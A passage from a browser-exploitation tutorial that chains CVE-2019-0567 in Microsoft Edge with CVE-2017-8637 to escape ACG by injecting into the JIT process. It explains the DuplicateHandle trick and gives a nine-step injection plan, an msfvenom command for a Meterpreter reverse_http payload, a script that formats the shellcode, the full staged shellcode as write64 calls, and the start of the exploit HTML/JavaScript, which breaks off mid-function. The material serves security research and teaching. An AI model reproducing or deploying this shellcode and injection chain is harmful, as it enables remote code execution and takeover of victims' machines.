We know that the __fastcall calling convention is in use, and that the first argument of JITManager::ConnectRpcServer (as we saw in the ChakraCore code) is where the JIT handle goes. So, if we look at the above image, whatever is in RCX directly prior to the call to JITManager::ConnectRpcServer will be the JIT handle. We can see this value is gathered from a symbol called s_jitManager.

We know that this is the value that is going to be passed to the JITManager::ConnectRpcServer function in the RCX register - meaning that this symbol has to contain the handle to the JIT server. Let’s look again, once more, at JITManager::ConnectRpcServer (this time with some additional annotation).

We already know that RCX = s_jitManager when this function is executed. Looking deeper into the disassembly (almost directly before the DuplicateHandle call) we can see that s_jitManager+0x8 (a.k.a RCX at an offset of 0x8) is loaded into R14. R14 is then used as the lpTargetHandle parameter for the call to DuplicateHandle. Let’s take a look at DuplicateHandle’s prototype (don’t worry if this is confusing, I will provide a summation of the findings very shortly to make sense of this).

If we take a look at the description above, the lpTargetHandle will “…receive the duplicate handle…”. What this means is that DuplicateHandle is used in this case to duplicate a handle to the JIT server, and store the duplicated handle within s_jitManager+0x8 (a.k.a the content process will have a handle to the JIT server) We can base this on two things - the first being that we have anecdotal evidence through the name of the variable we located in ChakraCore, which is jitprocessHandle. Although Chakra isn’t identical to ChakraCore in every regard, Chakra is following the same convention here. Instead, however, of directly supplying the jitprocessHandle - Chakra seems to manage this information through a structure called s_jitManager. The second way we can confirm this is through hard evidence.

If we examine chakra!JITManager::s_jitManager+0x8 (where we have hypothesized the duplicated JIT handle will go) within WinDbg, we can clearly see that this is a handle to a process with PROCESS_DUP_HANDLE access. We can also use Process Hacker to examine the handles to and from MicrosoftEdgeCP.exe. First, run Process Hacker as an administrator. From there, double-click on the MicrosoftEdgeCP.exe content process (the one using the most RAM as we saw, PID 4172 in this case). From there, click on the Handles tab and then sort the handles numerically via the Handle tab by clicking on it until they are in ascending order.

If we then scroll down in this list of handles, we can see our handle of 0x314. Looking at the Name column, we can also see that this is a handle to another MicrosoftEdgeCP.exe process. Since we know there are only two (whenever exploit.html is spawned and no other tabs are open) instances of MicrosoftEdgeCP.exe, the other “content process” (as we saw earlier) must be our JIT server (PID 7392)!

Another way to confirm this is by clicking on the General tab of our content process (PID 4172). From there, we can click on the Details button next to Mitigation policies to confirm that ACG (called “Dynamic code prohibited” here) is enabled for the content process where our exploit is running.

However, if we look at the other content process (which should be our JIT server) we can confirm ACG is not running. Thus, indicating, we know exactly which process is our JIT server and which one is our content process. From now on, no matter how many instances of Edge are running on a given machine, a content process will always have a PROCESS_DUP_HANDLE handle to the JIT server located at chakra::JITManager::s_jitManager+0x8.

So, in summation, we know that s_jitManager+0x8 contains a handle to the JIT server, and it is readable from the content process (where our exploit is running). You may also be asking “why does the content process need to have a PROCESS_DUP_HANDLE handle to the JIT server?” We will come to this shortly.

Turning our attention back to the aforementioned analysis, we know we have a handle to the JIT server. You may be thinking - we could essentially just use our arbitrary read primitive to obtain this handle and then use it to perform some operations on the JIT process, since the JIT process doesn’t have ACG enabled! This may sound very enticing at first. However, let’s take a look at a malicious function like VirtualAllocEx for a second, which can allocate memory within a remote process via a supplied process handle (which we have). VirtualAllocEx documentation states that:

The handle must have the PROCESS_VM_OPERATION access right. For more information, see Process Security and Access Rights.

This “kills” our idea in its tracks - the handle we have only has the permission PROCESS_DUP_HANDLE. We don’t have the access rights to allocate memory in a remote process where perhaps ACG is disabled (like the JIT server). However, due to a vulnerability (CVE-2017-8637), there is actually a way we can abuse the handle stored within s_jitManager+0x8 (which is a handle to the JIT server). To understand this, let’s just take a few moments to understand why we even need a handle to the JIT server, from the content process, in the first place.

Let’s now turn out attention to this this Google Project Zero issue regarding the CVE.

We know that the JIT server (a different process) needs to map JIT’d code into the content process. As the issue explains:

In order to be able to map executable memory in the calling process, JIT process needs to have a handle of the calling process. So how does it get that handle? It is sent by the calling process as part of the ThreadContext structure. In order to send its handle to the JIT process, the calling process first needs to call DuplicateHandle on its (pseudo) handle.

The above is self explanatory. If you want to do process injection (e.g. map code into another process) you need a handle to that process. So, in the case of the JIT server - the JIT server knows it is going to need to inject some code into the content process. In order to do this, the JIT server needs a handle to the content process with permissions such as PROCESS_VM_OPERATION. So, in order for the JIT process to have a handle to the content process, the content process (as mentioned above) shares it with the JIT process. However, this is where things get interesting.

The way the content process will give its handle to the JIT server is by duplicating its own pseudo handle. According to Microsoft, a pseudo handle:

… is a special constant, currently (HANDLE)-1, that is interpreted as the current process handle.

So, in other words, a pseudo handle is a handle to the current process and it is only valid within context of the process it is generated in. So, for example, if the content process called GetCurrentProcess to obtain a pseudo handle which represents the content process (essentially a handle to itself), this pseudo handle wouldn’t be valid within the JIT process. This is because the pseudo handle only represents a handle to the process which called GetCurrentProcess. If GetCurrentProcess is called in the JIT process, the handle generated is only valid within the JIT process. It is just an “easy” way for a process to specify a handle to the current process. If you supplied this pseudo handle in a call to WriteProcessMemory, for instance, you would tell WriteProcessMemory “hey, any memory you are about to write to is found within the current process”. Additionally, this pseudo handle has PROCESS_ALL_ACCESS permissions.

Now that we know what a pseudo handle is, let’s revisit this sentiment:

The way the content process will give its handle to the JIT server is by duplicating its own pseudo handle.

What the content process will do is obtain its pseudo handle by calling GetCurrentProcess (which is only valid within the content process). This handle is then used in a call to DuplicateHandle. In other words, the content process will duplicate its pseudo handle. You may be thinking, however, “Connor you just told me that a pseudo handle can only be used by the process which called GetCurrentProcess. Since the content process called GetCurrentProcess, the pseudo handle will only be valid in the content process. We need a handle to the content process that can be used by another process, like the JIT server. How does duplicating the handle change the fact this pseudo handle can’t be shared outside of the content process, even though we are duplicating the handle?”

The answer is pretty straightforward - if we look in the GetCurrentProcess Remarks section we can see the following text:

A process can create a “real” handle to itself that is valid in the context of other processes, or that can be inherited by other processes, by specifying the pseudo handle as the source handle in a call to the DuplicateHandle function.

So, even though the pseudo handle only represents a handle to the current process and is only valid within the current process, the DuplicateHandle function has the ability to convert this pseudo handle, which is only valid within the current process (in our case, the current process is the content process where the pseudo handle to be duplicated exists) into an actual or real handle which can be leveraged by other processes. This is exactly why the content process will duplicate its pseudo handle - it allows the content process to create an actual handle to itself, with PROCESS_ALL_ACCESS permissions, which can be actively used by other processes (in our case, this duplicated handle can be used by the JIT server to map JIT’d code into the content process).

So, in totality, its possible for the content process to call GetCurrentProcess (which returns a PROCESS_ALL_ACCESS handle to the content process) and then use DuplicateHandle to duplicate this handle for the JIT server to use. However, where things get interesting is the third parameter of DuplicateHandle, which is hTargetProcessHandle. This parameter has the following description:

A handle to the process that is to receive the duplicated handle. The handle must have the PROCESS_DUP_HANDLE access right…

In our case, we know that the “process that is to receive the duplicated handle” is the JIT server. After all, we are trying to send a (duplicated) content process handle to the JIT server. This means that when the content process calls DuplicateHandle in order to duplicate its handle for the JIT server to use, according to this parameter, the JIT server also needs to have a handle to the content process with PROCESS_DUP_HANDLE. If this doesn’t make sense, re-read the description provided of hTargetProcessHandle. This is saying that this parameter requires a handle to the process where the duplicated handle is going to go (specifically a handle with PROCESS_DUP_HANDLE) permissions.

This means, in less words, that if the content process wants to call DuplicateHandle in order to send/share its handle to/with the JIT server so that the JIT server can map JIT’d code into the content process, the content process also needs a PROCESS_DUP_HANDLE to the JIT server.

This is the exact reason why the s_jitManager structure in the content process contains a PROCESS_DUP_HANDLE to the JIT server. Since the content process now has a PROCESS_DUP_HANDLE handle to the JIT server (s_jitManager+0x8), this s_jitManager+0x8 handle can be passed in to the hTargetProcessHandle parameter when the content process duplicates its handle via DuplicateHandle for the JIT server to use. So, to answer our initial question - the reason why this handle exists (why the content process has a handle to the JIT server) is so DuplicateHandle calls succeed where content processes need to send their handle to the JIT server!

As a point of contention, this architecture is no longer used and the issue was fixed according to Ivan:

This issue was fixed by using an undocumented system_handle IDL attribute to transfer the Content Process handle to the JIT Process. This leaves handle passing in the responsibility of the Windows RPC mechanism, so Content Process no longer needs to call DuplicateHandle() or have a handle to the JIT Process.

So, to beat this horse to death, let me concisely reiterate one last time:

  1. JIT process wants to inject JIT’d code into the content process. It needs a handle to the content process to inject this code
  2. In order to fulfill this need, the content process will duplicate its handle and pass it to the JIT server
  3. In order for a duplicated handle from process “A” (the content process) to be used by process “B” (the JIT server), process “B” (the JIT server) first needs to give its handle to process “A” (the content process) with PROCESS_DUP_HANDLE permissions. This is outlined by hTargetProcessHandle which requires “a handle to the process that is to receive the duplicated handle” when the content process calls DuplicateHandle to send its handle to the JIT process
  4. Content process first stores a handle to the JIT server with PROCESS_DUP_HANDLE to fulfill the needs of hTargetProcessHandle
  5. Now that the content process has a PROCESS_DUP_HANDLE to the JIT server, the content process can call DuplicateHandle to duplicate its own handle and pass it to the JIT server
  6. JIT server now has a handle to the content process

The issue with this is number three, as outlined by Microsoft:

A process that has some of the access rights noted here can use them to gain other access rights. For example, if process A has a handle to process B with PROCESS_DUP_HANDLE access, it can duplicate the pseudo handle for process B. This creates a handle that has maximum access to process B. For more information on pseudo handles, see GetCurrentProcess.

What Microsoft is saying here is that if a process has a handle to another process, and that handle has PROCESS_DUP_HANDLE permissions, it is possible to use another call to DuplicateHandle to obtain a full-fledged PROCESS_ALL_ACCESS handle. This is the exact scenario we currently have. Our content process has a PROCESS_DUP_HANDLE handle to the JIT process. As Microsoft points out, this can be dangerous because it is possible to call DuplicateHandle on this PROCESS_DUP_HANDLE handle in order to obtain a full-access handle to the JIT server! This would allow us to have the necessary handle permissions, as we showed earlier with VirtualAllocEx, to compromise the JIT server. The reason why CVE-2017-8637 is an ACG bypass is because the JIT server doesn’t have ACG enabled! If we, from the content process, can allocate memory and write shellcode into the JIT server (abusing this handle) we would compromise the JIT process and execute code, because ACG isn’t enabled there!

So, we could setup a call to DuplicateHandle as such:

DuplicateHandle(
	jitHandle,		// Leaked from s_jitManager+0x8 with PROCESS_DUP_HANDLE permissions
	GetCurrentProcess(),	// Pseudo handle to the current process
	GetCurrentProcess(),	// Pseudo handle to the current process
	&fulljitHandle,		// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server
	0,			// Ignored since we later specify DUPLICATE_SAME_ACCESS
	0,			// FALSE (handle can't be inherited)
	DUPLICATE_SAME_ACCESS	// Create handle with same permissions as source handle (source handle = GetCurrentProcessHandle() so PROCESS_ALL_ACCESS permissions)
);

Let’s talk about where these parameters came from.

  1. hSourceProcessHandle - “A handle to the process with the handle to be duplicated. The handle must have the PROCESS_DUP_HANDLE access right.”
    • The value we are passing here is jitHandle (which represents our PROCESS_DUP_HANDLE to the JIT server). As the parameter description says, we pass in the handle to the process where the “handle we want to duplicate exists”. Since we are passing in the PROCESS_DUP_HANDLE to the JIT server, this essentially tells DuplicateHandle that the handle we want to duplicate exists somewhere within this process (the JIT process).
  2. hSourceHandle - “The handle to be duplicated. This is an open object handle that is valid in the context of the source process.”
    • We supply a value of GetCurrentProcess here. What this means is that we are asking DuplicateHandle to duplicate a pseudo handle to the current process. In other words, we are asking DuplicateHandle to duplicate us a PROCESS_ALL_ACCESS handle. However, since we have passed in the JIT server as the hSourceProcessHandle parameter we are instead asking DuplicateHandle to “duplicate us a pseudo handle for the current process”, but we have told DuplicateHandl that our “current process” is the JIT process as we have changed our “process context” by telling DuplicateHandle to perform this operation in context of the JIT process. Normally GetCurrentProcess would return us a handle to the process in which the function call occurred in (which, in our exploit, will obviously happen within a ROP chain in the content process). However, we use the “trick” up our sleeve, which is the leaked handle to the JIT server we have stored in the content process. When we supply this handle, we “trick” DuplicateHandle into essentially duplicating a PROCESS_ALL_ACCESS handle within the JIT process instead.
  3. hTargetProcessHandle - “A handle to the process that is to receive the duplicated handle. The handle must have the PROCESS_DUP_HANDLE access right.”
    • We supply a value of GetCurrentProcess here. This makes sense, as we want to receive the full handle to the JIT server within the content process. Our exploit is executing within the content process so we tell DuplicateHandle that the process we want to receive this handle in context of is the current, or content process. This will allow the content process to use it later.
  4. lpTargetHandle - “A pointer to a variable that receives the duplicate handle. This handle value is valid in the context of the target process. If hSourceHandle is a pseudo handle returned by GetCurrentProcess or GetCurrentThread, DuplicateHandle converts it to a real handle to a process or thread, respectively.”
    • This is the most important part. Not only is this the variable that will receive our handle (fulljitHandle just represents a memory address where we want to store this handle. In our exploit we will just find an empty .data address to store it in), but the second part of the parameter description is equally as important. We know that for hSourceHandle we supplied a pseudo handle via GetCurrentProcess. This description essentially says that DuplicateHandle will convert this pseudo handle in hSourceHandle into a real handle when the function completes. As we mentioned, we are using a “trick” with our hSourceProcessHandle being the JIT server and our hSourceHandle being a pseudo handle. We, as mentioned, are telling Edge to search within the JIT process for a pseudo handle “to the current process”, which is the JIT process. However, a pseudo handle would really only be usable in context of the process where it was being obtained from. So, for instance, if we obtained a pseudo handle to the JIT process it would only be usable within the JIT process. This isn’t ideal, because our exploit is within the content process and any handle that is only usable within the JIT process itself is useless to us. However, since DuplicateHandle will convert the pseudo handle to a real handle, this real handle is usable by other processes. This essentially means our call to DuplicateHandle will provide us with an actual handle with PROCESS_ALL_ACCESS to the JIT server from another process (from the content process in our case).
  5. dwDesiredAccess - “The access requested for the new handle. For the flags that can be specified for each object type, see the following Remarks section. This parameter is ignored if the dwOptions parameter specifies the DUPLICATE_SAME_ACCESS flag…”
    • We will be supplying the DUPLICATE_SAME_ACCESS flag later, meaning we can set this to 0.
  6. bInheritHandle - “A variable that indicates whether the handle is inheritable. If TRUE, the duplicate handle can be inherited by new processes created by the target process. If FALSE, the new handle cannot be inherited.”
    • Here we set the value to FALSE. We don’t want to/nor do we care if this handle is inheritable.
  7. dwOptions - “Optional actions. This parameter can be zero, or any combination of the following values.”
    • Here we provide 2, or DUPLICATE_SAME_ACCESS. This instructs DuplicateHandle that we want our duplicate handle to have the same permissions as the handle provided by the source. Since we provided a pseudo handle as the source, which has PROCESS_ALL_ACCESS, our final duplicated handle fulljitHandle will have a real PROCESS_ALL_ACCESS handle to the JIT server which can be used by the content process.

If this all sounds confusing, take a few moments to keep reading the above. Additionally, here is a summation of what I said:

  1. DuplicateHandle let’s you decide in what process the handle you want to duplicate exists. We tell DuplicateHandle that we want to duplicate a handle within the JIT process, using the low-permission PROCESS_DUP_HANDLE handle we have leaked from s_jitManager.
  2. We then tell DuplicateHandle the handle we want to duplicate within the JIT server is a GetCurrentProcess pseudo handle. This handle has PROCESS_ALL_ACCESS
  3. Although GetCurrentProcess returns a handle only usable by the process which called it, DuplicateHandle will perform a conversion under the hood to convert this to an actual handle which other processes can use
  4. Lastly, we tell DuplicateHandle we want a real handle to the JIT server, which we can use from the content process, with PROCESS_ALL_ACCESS permissions via the DUPLICATE_SAME_ACCESS flag which will tell DuplicateHandle to duplicate the handle with the same permissions as the pseudo handle (which is PROCESS_ALL_ACCESS).

Again, just keep re-reading over this and thinking about it logically. If you still have questions, feel free to email me. It can get confusing pretty quickly (at least to me).

Now that we are armed with the above information, it is time to start outline our exploitation plan.

Exploitation Plan 2.0

Let’s briefly take a second to rehash where we are at:

  1. We have an ASLR bypass and we know the layout of memory
  2. We can read/write anywhere in memory as much or as little as we want
  3. We can direct program execution to wherever we want in memory
  4. We know where the stack is and can force Edge to start executing our ROP chain

However, we know the pesky mitigations of ACG, CIG, and “no child processes” are still in our way. We can’t just execute our payload because we can’t make our payload as executable. So, with that said, the first option one could take is using a pure data-only attack. We could programmatically, via ROP, build out a reverse shell. This is very cumbersome and could take thousands of ROP gadgets. Although this is always a viable alternative, we want to detonate actual shellcode somehow. So, the approach we will take is as follows:

  1. Abuse CVE-2017-8637 to obtain a PROCESS_ALL_ACCESS handle to the JIT process
  2. ACG is disabled within the JIT process. Use our ability to execute a ROP chain in the content process to write our payload to the JIT process
  3. Execute our payload within the JIT process to obtain shellcode execution (essentially perform process injection to inject a payload to the JIT process where ACG is disabled)

To break down how we will actually accomplish step 2 in even greater detail, let’s first outline some stipulations about processes protected by ACG. We know that the content process (where our exploit will execute) is protected by ACG. We know that the JIT server is not protected by ACG. We already know that a process not protected by ACG is allowed to inject into a process that is protected by ACG. We clearly see this with the out-of-process JIT architecture of Edge. The JIT server (not protected by ACG) injects code into the content process (protected by ACG) - this is expected behavior. However, what about a injection from a process that is protected by ACG into a process that is not protected by ACG (e.g. injection from the content process into the JIT process, which we are attempting to do)?

This is actually prohibited (with a slight caveat). A process that is protected by ACG is not allowed to directly inject RWX memory and execute it within a process not protected by ACG. This makes sense, as this stipulation “protects” against an attacker compromising the JIT process (ACG disabled) from the content process (ACG enabled). However, we mentioned the stipulation is only that we cannot directly embed our shellcode as RWX memory and directly execute it via a process injection call stack like VirtualAllocEx (allocate RWX memory within the JIT process) -> WriteProcessMemory -> CreateRemoteThread (execute the RWX memory in the JIT process). However, there is a way we can bypass this stipulation.

Instead of directly allocating RWX memory within the JIT process (from the content process) we could instead just write a ROP chain into the JIT process. This doesn’t require RWX memory, and only requires RW memory. Then, if we could somehow hijack control-flow of the JIT process, we could have the JIT process execute our ROP chain. Since ACG is disabled in the JIT process, our ROP chain could mark our shellcode as RWX instead of directly doing it via VirtualAllocEx! Essentially, our ROP chain would just be a “traditional” one used to bypass DEP in the JIT process. This would allow us to bypass ACG! This is how our exploit chain would look:

  1. Abuse CVE-2017-8637 to obtain a PROCESS_ALL_ACCESS handle to the JIT process (this allows us to invoke memory operations on the JIT server from the content process)
  2. Allocate memory within the JIT process via VirtualAllocEx and the above handle
  3. Write our final shellcode (a reflective DLL from Meterpreter) into the allocation (our shellcode is now in the JIT process as RW)
  4. Create a thread within the JIT process via CreateRemoteThread, but create this thread as suspended so it doesn’t execute and have the start/entry point of our thread be a ret ROP gadget
  5. Dump the CONTEXT structure of the thread we just created (and now control) in the JIT process via GetThreadContext to retrieve its stack pointer (RSP)
  6. Use WriteProcessMemory to write the “final” ROP chain into the JIT process by leveraging the leaked stack pointer (RSP) of the thread we control in the JIT process from our call to GetThreadContext. Since we know where the stack is for our thread we created, from GetThreadContext, we can directly write a ROP chain to it with WriteProcessMemory and our handle to the JIT server. This ROP chain will mark our shellcode, which we already injected into the JIT process, as RWX (this ROP chain will work just like any traditional ROP chain that calls VirtualProtect)
  7. Update the instruction pointer of the thread we control to return into our ROP chains
  8. Call ResumeThread. This call will kick off execution of our thread, which has its entry point set to a return routine to start executing off of the stack, where our ROP chain is
  9. Our ROP chain will mark our shellcode as RWX and will jump to it and execute it

Lastly, I want to quickly point out the old Advanced Windows Exploitation syllabus from Offensive Security. After reading the steps outlined in this syllabus, I was able to formulate my aforementioned exploitation path off of the ground work laid here. As this blog post continues on, I will explain some of the things I thought would work at first and how the above exploitation path actually came to be. Although the syllabus I read was succinct and concise, I learned as I developing my exploit some additional things Control Flow Guard checks which led to many more ROP chains than I would have liked. As this blog post goes on, I will explain my thought process as to what I thought would work and what actually worked.

If the above steps seem a bit confusing - do not worry. We will dedicate a section to each concept in the rest of the blog post. You have gotten through a wall of text and, if you have made it to this point, you should have a general understanding of what we are trying to accomplish. Let’s now start implementing this into our exploit. We will start with our shellcode.

Shellcode

The first thing we need to decide is what kind of shellcode we want to execute. What we will do is store our shellcode in the .data section of chakra.dll within the content process. This is so we know its location when it comes time to inject it into the JIT process. So, before we begin our ROP chain, we need to load our shellcode into the content process so we can inject it into the JIT process. A typical example of a reverse shell, on Windows, is as follows:

  1. Create an instance of cmd.exe
  2. Using the socket library of the Windows API to put the I/O for cmd.exe on a socket, making the cmd.exe session remotely accessible over a network connection.

We can see this within the Metasploit Framework

Here is the issue - within Edge, we know there is a “no child processes” mitigation. Since a reverse shell requires spawning an instance of cmd.exe from the code calling it (our exploit), we can’t just use a normal reverse shell. Another way we could load code into the process space is through a DLL. However, remember that even though ACG is disabled in the JIT process, the JIT process still has Code Integrity Guard (CIG) enabled - meaning we can’t just use our payload to download a DLL to disk and then load it with LoadLibraryA. However, let’s take a further look at CIG’s documentation. Specifically regarding the Mitigation Bypass and Bounty for Defense Terms. If we scroll down to the “Code integrity mitigations”, we can take a look at what Microsoft deems to be out-of-scope.

If the image above is hard to view, open it in a new tab. As we can see Microsoft says that “in-memory injection” is out-of-scope of bypassing CIG. This means Microsoft knows this is an issue that CIG doesn’t address. There is a well-known technique known as reflective DLL injection where an adversary can use pure shellcode (a very large blob of shellcode) in order to load an entire DLL (which is unsigned by Microsoft) in memory, without ever touching disk. Red teamers have beat this concept to death, so I am not going to go in-depth here. Just know that we need to use reflective DLL because we need a payload which doesn’t spawn other processes.

Most command-and-control frameworks, like the one we will use (Meterpreter), use reflective DLL for their post-exploitation capabilities. There are two ways to approach this - staged and stageless. Stageless payloads will be a huge blob of shellcode that not only contain the DLL itself, but a routine that injects that DLL into memory. The other alternative is a staged payload - which will use a small first-stage shellcode which calls out to a command-and-control server to fetch the DLL itself to be injected. For our purposes, we will be using a staged reflective DLL for our shellcode.

To be more simple - we will be using the windows/meterpreter/x64/reverse_http payload from Metasploit. Essentially you can opt for any shellcode to be injected which doesn’t fork a new process.

The shellcode can be generated as follows: msfvenom -p windows/x64/meterpreter/reverse_http LHOST=YOUR_SERVER_IP LPORT=443 -f c

What I am about to explain next is (arguably) the most arduous part of this exploit. We know that in our exploit JavaScript limits us to 32-bit boundaries when reading and writing. So, this means we have to write our shellcode 4 bytes at a time. So, in order to do this, we need to divide up our exploit into 4-byte “segments”. I did this manually, but later figured out how to slightly automate getting the shellcode correct.

To “automate” this, we first need to get our shellcode into one contiguous line. Save the shellcode from the msfvenom output in a file named shellcode.txt.

Once the shellcode is in shellcode.txt, we can use the following one liner:

awk '{printf "%s""",$0}' shellcode.txt | sed 's/"//g' | sed 's/;//g' | sed 's/$/0000/' |  sed -re 's/\\x//g1' | fold -w 2 | tac | tr -d "\n" | sed 's/.\{8\}/& /g' | awk '{ for (i=NF; i>1; i--) printf("%s ",$i); print $1; }' | awk '{ for(i=1; i<=NF; i+=2) print $i, $(i+1) }' | sed 's/ /, /g' | sed 's/[^ ]* */0x&/g' | sed 's/^/write64(chakraLo+0x74b000+countMe, chakraHigh, /' | sed 's/$/);/' | sed 's/$/\ninc();/'

This will take our shellcode and divide it into four byte segments, remove the \x characters, get them in little endian format, and put them in a format where they will more easily be ready to be placed into our exploit.

Your output should look something like this:

write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe48348fc, 0x00cce8f0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x51410000, 0x51525041);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56d23148, 0x528b4865);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4860, 0x528b4818);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc9314d20, 0x50728b48);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4ab70f48, 0xc031484a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x7c613cac, 0x41202c02);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x410dc9c1, 0xede2c101);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4852, 0x8b514120);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01483c42, 0x788166d0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0f020b18, 0x00007285);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x88808b00, 0x48000000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x6774c085, 0x44d00148);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5020408b, 0x4918488b);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56e3d001, 0x41c9ff48);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4d88348b, 0x0148c931);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc03148d6, 0x0dc9c141);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc10141ac, 0xf175e038);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x244c034c, 0xd1394508);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4458d875, 0x4924408b);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4166d001, 0x44480c8b);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x491c408b, 0x8b41d001);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01488804, 0x415841d0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5a595e58, 0x59415841);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x83485a41, 0x524120ec);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4158e0ff, 0x8b485a59);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff4be912, 0x485dffff);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4953db31, 0x6e6977be);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x74656e69, 0x48564100);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc749e189, 0x26774cc2);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53d5ff07, 0xe1894853);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x314d5a53, 0xc9314dc0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba495353, 0xa779563a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0ee8d5ff);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x31000000, 0x312e3237);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x35352e36, 0x3539312e);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485a00, 0xc0c749c1);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000001bb, 0x53c9314d);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53036a53, 0x8957ba49);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000c69f, 0xd5ff0000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000023e8, 0x2d652f00);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x65503754, 0x516f3242);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58643452, 0x6b47336c);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x67377674, 0x4d576c79);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x3764757a, 0x0078466a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53c18948, 0x4d58415a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4853c931, 0x280200b8);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000084, 0x53535000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xebc2c749, 0xff3b2e55);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc68948d5, 0x535f0a6a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf189485a, 0x4dc9314d);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5353c931, 0x2dc2c749);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff7b1806, 0x75c085d5);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc1c7481f, 0x00001388);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf044ba49, 0x0000e035);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xd5ff0000, 0x74cfff48);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe8cceb02, 0x00000055);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x406a5953, 0xd189495a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4910e2c1, 0x1000c0c7);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba490000, 0xe553a458);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x9348d5ff);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485353, 0xf18948e7);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x49da8948, 0x2000c0c7);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89490000, 0x12ba49f9);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00e28996, 0xff000000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc48348d5, 0x74c08520);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x078b66b2, 0x85c30148);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58d275c0, 0x006a58c3);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc2c74959, 0x56a2b5f0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000d5ff, );
inc();

Notice at the last line, we are missing 4 bytes. We can add some NULL padding (NULL bytes don’t affect us because we aren’t dealing with C-style strings). We need to update our last line as follows:

write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0000d5ff);
inc();

Let’s take just one second to breakdown why the shellcode is formatted this way. We can see that our write primitive starts writing this shellcode to chakra_base + 0x74b000. If we take a look at this address within WinDbg we can see it is “empty”.

This address comes from the .data section of chakra.dll - meaning it is RW memory that we can write our shellcode to. As we have seen time and time again, the !dh chakra command can be used to see where the different headers are located at. Here is how our exploit looks now:

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
